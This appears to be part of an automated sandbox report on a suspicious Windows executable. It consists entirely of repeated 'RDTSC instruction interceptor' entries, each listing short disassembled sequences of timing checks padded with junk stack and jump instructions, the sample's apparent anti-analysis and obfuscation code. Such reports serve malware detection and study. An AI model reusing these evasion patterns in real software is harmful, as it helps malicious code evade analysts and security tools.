Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 648649 second address: 64864F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 648771 second address: 64877F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA65Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 64877F second address: 648785 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 648785 second address: 648789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6488EC second address: 6488FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6488FA second address: 6488FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 632406 second address: 63241D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD0810EDB06h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007FD0810EDB06h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 63241D second address: 632421 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 60D00C second address: 60D010 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 60D010 second address: 60D016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 60D016 second address: 60D02E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FD0810EDB0Ch 0x0000000c popad 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 679314 second address: 679329 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA65Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 679329 second address: 67932F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6794D8 second address: 6794F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD080DDA664h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6794F2 second address: 6794F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6797A6 second address: 6797C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA664h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FD080DDA65Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 679A4E second address: 679A69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FD0810EDB06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007FD0810EDB0Dh 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 679A69 second address: 679A6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 679A6E second address: 679A76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 679A76 second address: 679A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007FD080DDA656h 0x0000000d jne 00007FD080DDA656h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 679DA8 second address: 679DC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FD0810EDB06h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD0810EDB0Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 67DF1F second address: 67DF23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 67DF23 second address: 67DF46 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD0810EDB06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007FD0810EDB19h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 67DF46 second address: 67DF51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FD080DDA656h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6821A5 second address: 6821AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 680F33 second address: 680F3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 680F3B second address: 680F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 681543 second address: 681547 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 681547 second address: 681562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD0810EDB13h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 681562 second address: 68157B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA665h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6818ED second address: 6818F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6863FF second address: 686405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 686405 second address: 68640B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 68640B second address: 68641A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 684F4F second address: 684F53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 685399 second address: 6853C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA65Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD080DDA665h 0x0000000e jns 00007FD080DDA656h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6853C5 second address: 6853C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 685514 second address: 685518 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 685634 second address: 68564B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD0810EDB11h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 68564B second address: 68564F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6857C3 second address: 6857C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6857C8 second address: 6857CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 685925 second address: 685929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 684C4C second address: 684C5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD080DDA65Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 684C5C second address: 684C61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6897F0 second address: 689822 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop ecx 0x0000000c jns 00007FD080DDA658h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 push esi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FD080DDA668h 0x0000001d push eax 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 68927E second address: 689289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 689289 second address: 689292 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 689292 second address: 68929F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FD0810EDB06h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 68C411 second address: 68C470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FD080DDA667h 0x0000000b jng 00007FD080DDA656h 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007FD080DDA65Dh 0x00000018 jmp 00007FD080DDA65Dh 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FD080DDA664h 0x00000028 jg 00007FD080DDA656h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 68C470 second address: 68C48D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD0810EDB06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FD0810EDB13h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 68E671 second address: 68E67A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 68E67A second address: 68E67E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 68E67E second address: 68E68D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 68E68D second address: 68E692 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 68E924 second address: 68E947 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD080DDA66Bh 0x00000008 jmp 00007FD080DDA665h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 68E947 second address: 68E94B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 693EDD second address: 693EE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 693EE8 second address: 693EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 693EEC second address: 693EF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 692797 second address: 69279B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 692A86 second address: 692A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jnl 00007FD080DDA658h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 692A93 second address: 692A99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 692A99 second address: 692AA9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD080DDA656h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 692C42 second address: 692C6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0810EDB19h 0x00000007 ja 00007FD0810EDB06h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jne 00007FD0810EDB06h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 692C6F second address: 692C73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 692F6B second address: 692F73 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 648401 second address: 648406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 693BB0 second address: 693BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 693BB8 second address: 693BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 696C42 second address: 696C48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 696C48 second address: 696C57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jbe 00007FD080DDA656h 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 696C57 second address: 696C5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 69965F second address: 699665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 699665 second address: 699686 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007FD0810EDB1Ch 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FD0810EDB14h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 699686 second address: 699692 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD080DDA65Eh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 699692 second address: 69969B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 69969B second address: 6996A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 698F54 second address: 698F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007FD0810EDB06h 0x0000000c popad 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6990D7 second address: 6990EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD080DDA65Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6990EA second address: 69910A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FD0810EDB06h 0x0000000a popad 0x0000000b jmp 00007FD0810EDB15h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 69E884 second address: 69E894 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007FD080DDA66Ah 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 69E894 second address: 69E8A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0810EDB0Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 69EE63 second address: 69EE6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 69F68F second address: 69F693 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 69F693 second address: 69F699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 69F699 second address: 69F6B4 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD0810EDB0Eh 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jo 00007FD0810EDB06h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 69F6B4 second address: 69F6C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 69F6C0 second address: 69F6E3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FD0810EDB0Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FD0810EDB0Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 69F6E3 second address: 69F6E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 69F6E9 second address: 69F6ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 69F6ED second address: 69F6F3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 69F9BB second address: 69F9CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD0810EDB0Ah 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 69F9CA second address: 69F9D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FD080DDA656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 69F9D4 second address: 69F9E1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 69F9E1 second address: 69F9FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007FD080DDA665h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 69FF6F second address: 69FF7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FD0810EDB06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 69FF7B second address: 69FF7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 69FF7F second address: 69FF8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6A22E5 second address: 6A22F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007FD080DDA656h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7KVoLQr.exe	RDTSC instruction interceptor: First address: 6A25A9 second address: 6A25AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
